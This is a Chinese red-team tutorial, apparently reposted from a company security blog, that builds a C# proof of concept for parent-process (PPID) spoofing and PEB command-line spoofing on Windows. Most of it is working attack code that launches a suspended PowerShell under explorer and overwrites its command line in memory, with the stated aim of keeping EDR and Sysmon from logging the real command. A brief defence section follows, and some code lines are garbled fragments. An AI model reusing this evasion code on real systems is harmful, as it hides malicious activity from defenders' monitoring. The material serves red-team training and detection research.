一、
前言
前文链接:
在上一篇文章中,我们介绍了一些在C#中需要了解的基本概念,其中触及了一些比较深入的主题。本文专注于实际编写代码,利用在上一篇文章中学到的内容,实现一个PEB&PPID欺骗。
在阅读本文之前,我强烈建议你先阅读上一篇文章,否则你可能无法理解本文介绍的部分主题。当然,我会尽力对其进行解释并为其中的部分主题提供外部资源链接,但本文要讨论的所有内容几乎都能在上一篇文章中找到解释!
我最初是想要在本文中引导读者逐步开发出一个真正能在工作时使用的工具,但是考虑到这么做之后文章的长度以及复杂度,我选择编写一个简单的PoC代码来演示。
我相信在阅读完本文及示例代码之后,你自己也能编写出一个工具!如果你需要更多信息,我还会在文章末尾提供一些其他工具的链接。
好了,现在让我们打开Visual Studio或Visual Code,开始敲写代码吧!
二、
正文
►►►
0x01 代码编写步骤
首先我们得明确我们的步骤:
-
先编写一个 父进程欺骗的例子
-
再在这个例子上添加PEB欺骗的代码,最终实现 PEB&PPID欺骗
►►►
0x02 父进程欺骗
(1)父进程欺骗原理
为了更好地编写代码,首先我们得理解父进程欺骗的原理。
Windows 父进程欺骗技术,其实就是创建一个进程,指定其他进程为这个新创建进程的父进程。
对父进程进行欺骗有许多方法,本文着重介绍通过调用CreateProcess函数进行实现,该方法最简单也最常用。
CreateProcess函数允许用户创建新进程,默认情况下,会通过其继承的父进程完成创建。该函数有一个名为“lpStartupInfo”的参数,该参数允许使用者自定义要使用的父进程。该功能最初用于Windows Vista中设置UAC。
lpStartupInfo参数指向一个名为“STARTUPINFOEX”的结构体,该结构包含变量“lpAttributeList”,这个变量在初始化时可以调用“UpdateProcThreadAttribute”回调函数进行属性添加,你可以通过“PROC_THREAD_ATTRIBUTE_PARENT_PROCESS”属性从而对父进程进行设置。
你可以简单地理解为在CreateProcess,这个函数的作用是创建一个进程,而它有一个参数能够设置新建进程时的父进程。
如果想进一步学习父进程欺骗相关原理,你可以自行阅读下面的链接。
https://www.4hou.com/posts/wZBg
https://www.c0bra.xyz/2020/04/23/技巧-Parent-PID-Spoofing/
https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e
在使用父进程欺骗技术时,我们需要遵循下面的步骤来实现:
-
第一个 API 调用 InitializeProcThreadAttributeList 初始化了属性列表并分配了属性所需的内存空间。
-
使用 OpenProcess 获取目标进程的句柄。
-
调用 UpdateProcThreadAttribute 并将父进程句柄设置为 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 属性。
-
最后一步是调用 CreateProcess,以便在名为 EXTENDED_STARTUPINFO_PRESENT 的 dwCreationFlags 参数中传递一个新标志,该标志使调用者能够传递 STARTUPINFOEX 结构指针。
参考链接:
https://blog.csdn.net/linlin003/article/details/108864860
(2)父进程欺骗代码编写
好了相信你现在已经对父进程欺骗有了一定的了解,下面可以开始编写我们的代码了。
首先我们得用 CreateProcess这个函数举个例子,如果你不知道 CreateProcess在c# 中如何正确地编写,那么你可以参考一下其他c/c++的项目,然后再通过类型转换,写成c#的模式。
当然还有更快的方法,你可以在P/invoke中 直接搜索该函数名。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace PEB_PPIDspoofing_POC
{
class Program
{
[ ]
[ ]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
static void Main(string[] args)
{
}
}
}
当然现在代码肯定会报错,你会留意到 CreateProcessFlags,STARTUPINFOEX,PROCESS_INFORMATION这三个类型还需要我们手动去定义,不过幸运的是大部分函数以及它们所需要的结构体定义,我们都能在P/invoke中查找到,注意我说的大部分。我在做其他项目的时候经常遇到结构体或者函数没有在P/invoke中查找到的,这个时候我们必须要参考c/c++的代码,进行手动的类型转换,但是会异常地麻烦。
你可能也注意到,我在一些参数中添加了ref和out关键字。这两个关键字表明参数是通过引用而不是值传递。
ref和out之间的区别在于,ref关键字表示参数在传递之前必须先对其进行初始化,而out则不需要。另一个区别是,ref关键字表示数据可以双向传递,并且当控制权返回到调用方法时,在被调用方法中对参数的任何修改都会反映到对应的变量中。而out关键字表示数据仅在单向传递,并且无论调用方法返回的值是什么,最后都会被设置成该引用变量。
补全完 CreateProcess需要的代码以后,完整的 CreateProcess应该是这样:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace PEB_PPIDspoofing_POC
{
class Program
{
[ ]
[ ]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[ ]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[ ]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[ ]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[ ]
public enum CreateProcessFlags
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
static void Main(string[] args)
{
}
}
}
再根据P/invoke的方法和我上面所说ppid欺骗所需要的步骤,补全我们需要的函数以及结构体,最终的代码 如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace PEB_PPIDspoofing_POC
{
class Program
{
[ ]
[ ]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[ ]
[ ]
private static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[ ]
[ ]
private static extern bool InitializeProcThreadAttributeList(
IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[ ]
public static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId
);
[ ]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[ ]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[ ]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[ ]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[ ]
public enum CreateProcessFlags
{
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00000800,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
[ ]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
static void Main(string[] args)
{
int parentProcessId = 6344;
//const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
//const int CREATE_SUSPENDED = 0x00000004;
const int SW_HIDE = 0;
var pInfo = new PROCESS_INFORMATION();
var sInfoEx = new STARTUPINFOEX();
sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx);
sInfoEx.StartupInfo.dwFlags = 1;
sInfoEx.StartupInfo.wShowWindow = SW_HIDE;
IntPtr lpValue = IntPtr.Zero;
IntPtr newProcessHandle;
UInt32 sizePtr = 0;
bool result;
string nullstr = null;
IntPtr lpSize = IntPtr.Zero;
var success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
success = InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize);
var parentHandle = OpenProcess((uint)ProcessAccessFlags.All, false, parentProcessId); ;
// This value should persist until the attribute list is destroyed using the DeleteProcThreadAttributeList function
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, parentHandle);
success = UpdateProcThreadAttribute(
sInfoEx.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
var pSec = new SECURITY_ATTRIBUTES();
var tSec = new SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
string ori_command = @"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process calc.exe";
result = CreateProcess(
nullstr,
ori_command,
IntPtr.Zero,
IntPtr.Zero,
true,
CreateProcessFlags.CREATE_SUSPENDED |
CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT |
CreateProcessFlags.CREATE_NEW_CONSOLE,
IntPtr.Zero,
null,
ref sInfoEx,
out pInfo
);
}
}
}
我们需要在 Main函数里设置一下父进程pid,int parentProcessId = 6344;
我选择的是explorer的pid,运行程序以后,可以用 ProcessExplorer查看该进程的详细信息:
我们可以通过processexplorer看到这个powershell的父进程是explorer而不是VS的编译的进程了,同时这个进程的commandline 和我们设置的一致,而且这个进程出入suspended状态,这是因为我们在创建新进程的时候,使用了 CreateProcessFlags.CREATE_SUSPENDED 这个flag,它会让你创建进程的时候,进程处于suspended状态,至于为什么要这样做,我们接下来会说到。
►►►
0x03 PEB 欺骗
因为PEB中其实还有很多其他的变量例如 Ldr,但这并不是我们这里所讨论的,我们这里主要介绍的是 command-line spoofing。但是首先你要重新明确这样做的目的,无论是 PEB 欺骗还是 PPID欺骗,目的都是为了让EDR 或者sysmon之类的软件记录不到真实的内容。
(1)command-line spoofing – 命令行欺骗原理
据我所知,正如William Burges在他的演讲中所说的那样,这种技术是由Casey Smith在推特(@subtee)上首次描述讨论的。Adam Chester随后在他的博客上讨论了相关的C++技术验证代码。我鼓励您去阅读他的文章,了解相关的技术实现细节。但是在这里我将快速并简单说明这种技术是如何运作的。
当一个进程创建时,Windows数据结构“Process Environment Block”(PEB)将映射到进程虚拟内存中。此数据结构包含有关进程本身的大量信息,例如已加载模块列表和用于启动进程的命令行。由于PEB(包含进程的命令行参数数据)存储在进程的内存空间而不是内核空间中,因此只要我们对进程拥有适当的权限,就很容易覆盖它。
更具体地说,该技术的工作原理如下:
-
创建一个进程并将其处于挂起状态(suspended,这就是为什么上面184行创建进程的时候我们使进程进入了挂起状态);
-
使用 NtQueryInformationProcess 检索PEB地址;
-
使用 NtReadVirtualMemory 查找到commanndline里buffer的地址
-
使用 WriteProcessMemory 覆盖存储在PEB中的命令行数据;
-
恢复进程;
为了更好得理解首先我们得先看下 在内存中 PEB 到 commandline 的包含关系:
在内存中PEB其实是被包含在 PBI结构里面的,我们这里不讨论什么是PBI,因为这并不是我们本文讨论的主题。而PEB中包含着 ProcessParameters 结构对应的结构体是 _RTL_USER_PROCESS_PARAMETERS,而_RTL_USER_PROCESS_PARAMETERS这个结构体里面最终包含着 Commandline,Commandline在内存中对应的结构体是 _UNICODE_STRING,其中 Length 表示 Commandline的中命令的长度,MaximumLength就是最大长度。
而Buffer 存放着指向真正存放命令的内存地址。
你可以用Windbg来查看一个进程的Commandline,最后一行的[+0x008] Buffer : 0x762808 其实就是着指向存放真正命令的内存地址,比如这个例子中 0x762808 这个内存地址存储着我们真正的命令:
“usrbinmintty.exe –nodaemon -o AppID=GitForWindows.Bash -o AppLaunchCmd=”C:Program FilesGitgit-bash.exe” -o AppName=”Git Bash” -i “C:Program FilesGitgit-bash.exe” –store-taskbar-properties — /usr/bin/bash –login -i” 。
0:006> dx -r1 ((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x762170)
((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x762170) : 0x762170 [Type: _RTL_USER_PROCESS_PARAMETERS *]
[0x8ce [Type: unsigned long] ] MaximumLength :
[0x8ce [Type: unsigned long] ] Length :
[0x6001 [Type: unsigned long] ] Flags :
[0x0 [Type: unsigned long] ] DebugFlags :
[0x440 [Type: void *] ] ConsoleHandle :
[0x0 [Type: unsigned long] ] ConsoleFlags :
[0x44c [Type: void *] ] StandardInput :
[0x418 [Type: void *] ] StandardOutput :
[0x468 [Type: void *] ] StandardError :
[ ] CurrentDirectory [Type: _CURDIR]
[ ] DllPath [Type: _UNICODE_STRING]
[ ] ImagePathName [Type: _UNICODE_STRING]
[ ] CommandLine [Type: _UNICODE_STRING]
[0x760fe0 [Type: void *] ] Environment :
[0x0 [Type: unsigned long] ] StartingX :
[0x0 [Type: unsigned long] ] StartingY :
[0x0 [Type: unsigned long] ] CountX :
[0x0 [Type: unsigned long] ] CountY :
[0x0 [Type: unsigned long] ] CountCharsX :
[0x0 [Type: unsigned long] ] CountCharsY :
[0x0 [Type: unsigned long] ] FillAttribute :
[0x5000 [Type: unsigned long] ] WindowFlags :
[0x0 [Type: unsigned long] ] ShowWindowFlags :
[ ] WindowTitle [Type: _UNICODE_STRING]
[ ] DesktopInfo [Type: _UNICODE_STRING]
[ ] ShellInfo [Type: _UNICODE_STRING]
[ ] RuntimeData [Type: _UNICODE_STRING]
[32]] ] CurrentDirectores [Type: _RTL_DRIVE_LETTER_CURDIR [
[0x1188 [Type: unsigned __int64] ] EnvironmentSize :
[0x3 [Type: unsigned __int64] ] EnvironmentVersion :
[0x0 [Type: void *] ] PackageDependencyData :
[0x2a8 [Type: unsigned long] ] ProcessGroupId :
[0x0 [Type: unsigned long] ] LoaderThreads :
[ ] RedirectionDllName [Type: _UNICODE_STRING]
[ ] HeapPartitionName [Type: _UNICODE_STRING]
[0x0 [Type: unsigned __int64 *] ] DefaultThreadpoolCpuSetMasks :
[0x0 [Type: unsigned long] ] DefaultThreadpoolCpuSetMaskCount :
[0x0 [Type: unsigned long] ] DefaultThreadpoolThreadMaximum :
0:006> dx -r1 (*((ntdll!_UNICODE_STRING *)0x7621e0))
(*((ntdll!_UNICODE_STRING *)0x7621e0)) [Type: _UNICODE_STRING]
[0x1c2 [Type: unsigned short] ] Length :
[0x1c4 [Type: unsigned short] ] MaximumLength :
[0x762808 : "usrbinmintty.exe --nodaemon -o AppID=GitForWindows.Bash -o AppLaunchCmd="C:Program FilesGitgit-bash.exe" -o AppName="Git Bash" -i "C:Program FilesGitgit-bash.exe" --store-taskbar-properties -- /usr/bin/bash --login -i" [Type: wchar_t *] ] Buffer :
那么现在相信你对整个结构以及它们之间的包含关系都非常了解了,简单来说我们要做的步骤就是 在这个进程的内存中,找到Commandline的buffer的地址,然后修改这个地址中存放的内容。
(2)command-line spoofing – 代码编写
接下来的我们将要在PPID欺骗的代码添加 command-line spoofing 的代码。
Boolean successEx = false;
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
PEB PebBlock = new PEB();
RTL_USER_PROCESS_PARAMETERS parameters = new RTL_USER_PROCESS_PARAMETERS();
Int32 commandline_len = (ori_command.Length) * 2;
IntPtr pMemLoc = Marshal.AllocHGlobal(Marshal.SizeOf(PebBlock));
IntPtr pMemLoc2 = Marshal.AllocHGlobal(Marshal.SizeOf(parameters));
IntPtr pMemLoc_com = Marshal.AllocHGlobal(commandline_len);
string command_get = "";
uint getsize = 0;
Int32 ReadSize = 64;
Int32 RTL_USER_PROCESS_PARAMETERS = 0x20;
IntPtr pMemLoc3 = Marshal.AllocHGlobal(ReadSize);
Marshal.SizeOf(parameters));
ReadSize);
commandline_len);
newProcessHandle = OpenProcess((uint)ProcessAccessFlags.All, false, pInfo.dwProcessId);
UInt32 queryResult = NtQueryInformationProcess(newProcessHandle, 0, ref pbi, Marshal.SizeOf(pbi), ref sizePtr);
IntPtr RTL_Address = (IntPtr)((pbi.PebBaseAddress).ToInt64() + RTL_USER_PROCESS_PARAMETERS);
successEx = NtReadVirtualMemory(newProcessHandle, (IntPtr)(pbi.PebBaseAddress), pMemLoc, (uint)ReadSize, ref getsize);
Marshal.GetLastWin32Error();
PebBlock = (PEB)Marshal.PtrToStructure(pMemLoc, typeof(PEB));
successEx = NtReadVirtualMemory(newProcessHandle, PebBlock.ProcessParameters64, pMemLoc2, (uint)Marshal.SizeOf(parameters), ref getsize);
parameters = (RTL_USER_PROCESS_PARAMETERS)Marshal.PtrToStructure(pMemLoc2, typeof(RTL_USER_PROCESS_PARAMETERS));
successEx = NtReadVirtualMemory(newProcessHandle, parameters.CommandLine.buffer, pMemLoc_com, (uint)commandline_len, ref getsize);
command_get = Marshal.PtrToStringUni(pMemLoc_com, ori_command.Length);
Console.WriteLine("Original command:" + command_get);
UInt64 ProcParams;
Int32 CommandLine = 0x70;
string cmdStr = @"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe";
short cmdStr_Length = (short)(2 * cmdStr.Length);
short cmdStr_MaximumLength = (short)(2 * cmdStr.Length + 2);
IntPtr cmdStr_Length_Addr = Marshal.AllocHGlobal(Marshal.SizeOf(cmdStr_Length));
IntPtr cmdStr_MaximumLength_Addr = Marshal.AllocHGlobal(Marshal.SizeOf(cmdStr_MaximumLength));
cmdStr_Length);
cmdStr_MaximumLength);
IntPtr real_command_addr = IntPtr.Zero;
real_command_addr = Marshal.StringToHGlobalUni(cmdStr);
NTSTATUS ntstatus = new NTSTATUS();
ntstatus = NtWriteVirtualMemory(newProcessHandle, PebBlock.ProcessParameters64 + CommandLine + 0x2, cmdStr_MaximumLength_Addr, (uint)Marshal.SizeOf(cmdStr_MaximumLength), ref getsize);
ntstatus = NtWriteVirtualMemory(newProcessHandle, PebBlock.ProcessParameters64 + CommandLine, cmdStr_Length_Addr, (uint)Marshal.SizeOf(cmdStr_Length), ref getsize);
IntPtr com_zeroAddr = Marshal.AllocHGlobal((ori_command.Length) * 2);
(ori_command.Length) * 2);
ntstatus = NtWriteVirtualMemory(newProcessHandle, parameters.CommandLine.buffer, com_zeroAddr, (uint)(2 * (ori_command.Length)), ref getsize);
ntstatus = NtWriteVirtualMemory(newProcessHandle, parameters.CommandLine.buffer, real_command_addr, (uint)(2 * (cmdStr.Length)), ref getsize);
ResumeThread(pInfo.hThread);
return;
当你对P/Invoke和 command-line spoofing 的原理都有一定的了解后,我相信上面代码你也很容易理解。我就不再补全所有结构体和函数声明了,因为这些都能在P/invoke中找到,也不再对全部代码进行解释了,但是仍然有几点值得我们注意的。这将方便我们进行二次开发,修改成我们自己的工具。
注意事项:
1、结构体的偏移
-
Int32 RTL_USER_PROCESS_PARAMETERS = 0x20; 是ProcessParameters 在 PEB 中偏的移。
-
Int32 CommandLine = 0x70; 是Commandline 在 ProcessParameters 中的偏移。
我们可以在 Windbg查找到相关的偏移,因为32位和64位的偏移是不一样的,我这里测试环境是64位。如果你在64位读取32位环境的偏移将会读取失败。
ProcessParameters:
0:006> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y0
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Padding0 : [4] ""
+0x008 Mutant : 0xffffffff`ffffffff Void
+0x010 ImageBaseAddress : 0x00000001`00400000 Void
+0x018 Ldr : 0x00007ffc`7a5da4c0 _PEB_LDR_DATA
+0x020 ProcessParameters : 0x00000000`00762170 _RTL_USER_PROCESS_PARAMETERS
CommandLine:
0:006> dx -r1 ((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x762170)
((ntdll!_RTL_USER_PROCESS_PARAMETERS *)0x762170) : 0x762170 [Type: _RTL_USER_PROCESS_PARAMETERS *]
[+0x000] MaximumLength : 0x8ce [Type: unsigned long]
[+0x004] Length : 0x8ce [Type: unsigned long]
[+0x008] Flags : 0x6001 [Type: unsigned long]
[+0x00c] DebugFlags : 0x0 [Type: unsigned long]
[+0x010] ConsoleHandle : 0x440 [Type: void *]
[+0x018] ConsoleFlags : 0x0 [Type: unsigned long]
[+0x020] StandardInput : 0x44c [Type: void *]
[+0x028] StandardOutput : 0x418 [Type: void *]
[+0x030] StandardError : 0x468 [Type: void *]
[+0x038] CurrentDirectory [Type: _CURDIR]
[+0x050] DllPath [Type: _UNICODE_STRING]
[+0x060] ImagePathName [Type: _UNICODE_STRING]
[+0x070] CommandLine [Type: _UNICODE_STRING]
2、命令行长度问题
假的命令必须长于真的命令。
例如在我们这个POC中
假的命令:
@”C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process calc.exe”;
真的命令:
@”C:WindowsSystem32WindowsPowerShellv1.0powershell.exe”;
命令行修改本质是内存覆盖,因此如果我们什么都不做的话,事实上这个命令行修改,什么也没改变。因为命令中 start-process calc.exe 的前面是一摸一样的。但是我们也有这个方法解决这个问题
a. 如果真的命令行比假的短的多,那么我们可以用很多空格去代替,例如:
@"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process calc.exe";
@"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe ";
最终结果:
@"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
这样就会完全覆盖后面的 start-process calc.exe,但是如果没有空格,最终的结果还是和第一行一摸一样。
b. 在真的命令行和假的命令行长度差距非常大的时候(假的命令行长),我们应该先重写假的命令行的内存空间,全部用 0 填充,再写入真的命令行。这样我们真命令就不需要这么多空格,我们上面的代码也是用这种方式:
@"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process calc.exe";
@"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe";
最终结果:
@"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe";
3、当然如果真假命令行长度一样的话那就最好了,不需要做任何的修改。
看到这里你可能会有疑问,如果假的命令行比真的短怎么办(真命令长于加命令)。这个时候如果你强行写入你就会覆盖掉 其他变量的内存空间。
我的建议是,我们可以先用 VirtualProtect分配一段共享的内存空间,然后把真的命令行写入,最后把这个空间的地址写入到 Commandline的 buffer里。当然,只要假的命令长于真命令都不会出现这些问题。
[+0x000] Length : 0x1c2 [Type: unsigned short]
[+0x002] MaximumLength : 0x1c4 [Type: unsigned short]
其实我在代码里还重写了一下命令行的长度和最大长度这两个参数,不过感觉并没有什么用。
4. 最后可以参考 https://github.com/christophetd/spoofing-office-macro 的vba代码 用#把后面的内容变成注释。
►►►
0x04最终效果
我们在代码中加入断点,测试我们代码的效果。
为了方便测试,我们改一下命令:
Fake commandline: @"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process mspaint.exe";
Real commandline: @"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process notepad.exe";
可以看到,我们创建了一个父进程是explorer且处于Suspended状态的powershell,然后命令行是:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process mspaint.exe
当我们用 0 重写完Commandline->buffer这段内存空间后,可以看到:
再次查看命令行已经为空了。
然后我们在此调用NtWriteVirtualMemory写入 Real commandline。
写入以后我们就可以看到,新的命令行被写入,此时Commandline是 C:WindowsSystem32WindowsPowerShellv1.0powershell.exe start-process notepad.exe
在运行完ResumeThread以后,我们可以看到最终结果出来的是记事本而不是画图。
再查看Sysmon
可以看到 Sysmon并没有记录到我们实际运行的命令。
►►►
0x05 防御方式
从日志记录的角度来看,这些技术的实现使我们不能盲目地信任进程创建事件。但是,我们还可以从其他角度判断。首先,我们可以启用Powershell日志记录来获取调用powershell模块的运行时日志。
以下日志记录将清楚地表明恶意行为:
此外,诸如Sysmon之类的EDR检测软件还将记录powershell.exe建立网络连接的事件,以及后续创建进程(calc.exe)的事件,这也可以被视为提醒报警的可疑行为。
最后,我们可以思考如何在攻击链中更快地识别出这样的威胁:由IDS捕获、由沙盒的邮件检测模块检测等等。
也可以用API hook来监控高危函数,当然这些都可以被绕过。我已经着手在写这方面的项目了,如果大家有兴趣不妨一起研究。
►►►
0x06 总结
好吧,差不多了!非常感谢大家阅读这两篇文章,也希望你学到了一些新知识。尽管进程的创建日志对于我们去发现恶意威胁具有重要价值,但我们也不应该盲目地相信它们。通过使用windows、EDR、防火墙、代理、IDS、邮件网关等记录日志,同样可以帮助我们找到恶意威胁。
Github link:
►►►
0x07 Reference link
https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e
https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships
https://www.pinvoke.net
https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
https://www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-_peb
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
https://gist.github.com/xpn/1c51c2bfe19d33c169fe0431770f3020#file-argument_spoofing-cpp
https://github.com/christophetd/spoofing-office-macro
❖
原文始发于微信公众号(顺丰安全应急响应中心):红蓝对抗必备的基础技能:PEB&PPID欺骗(二)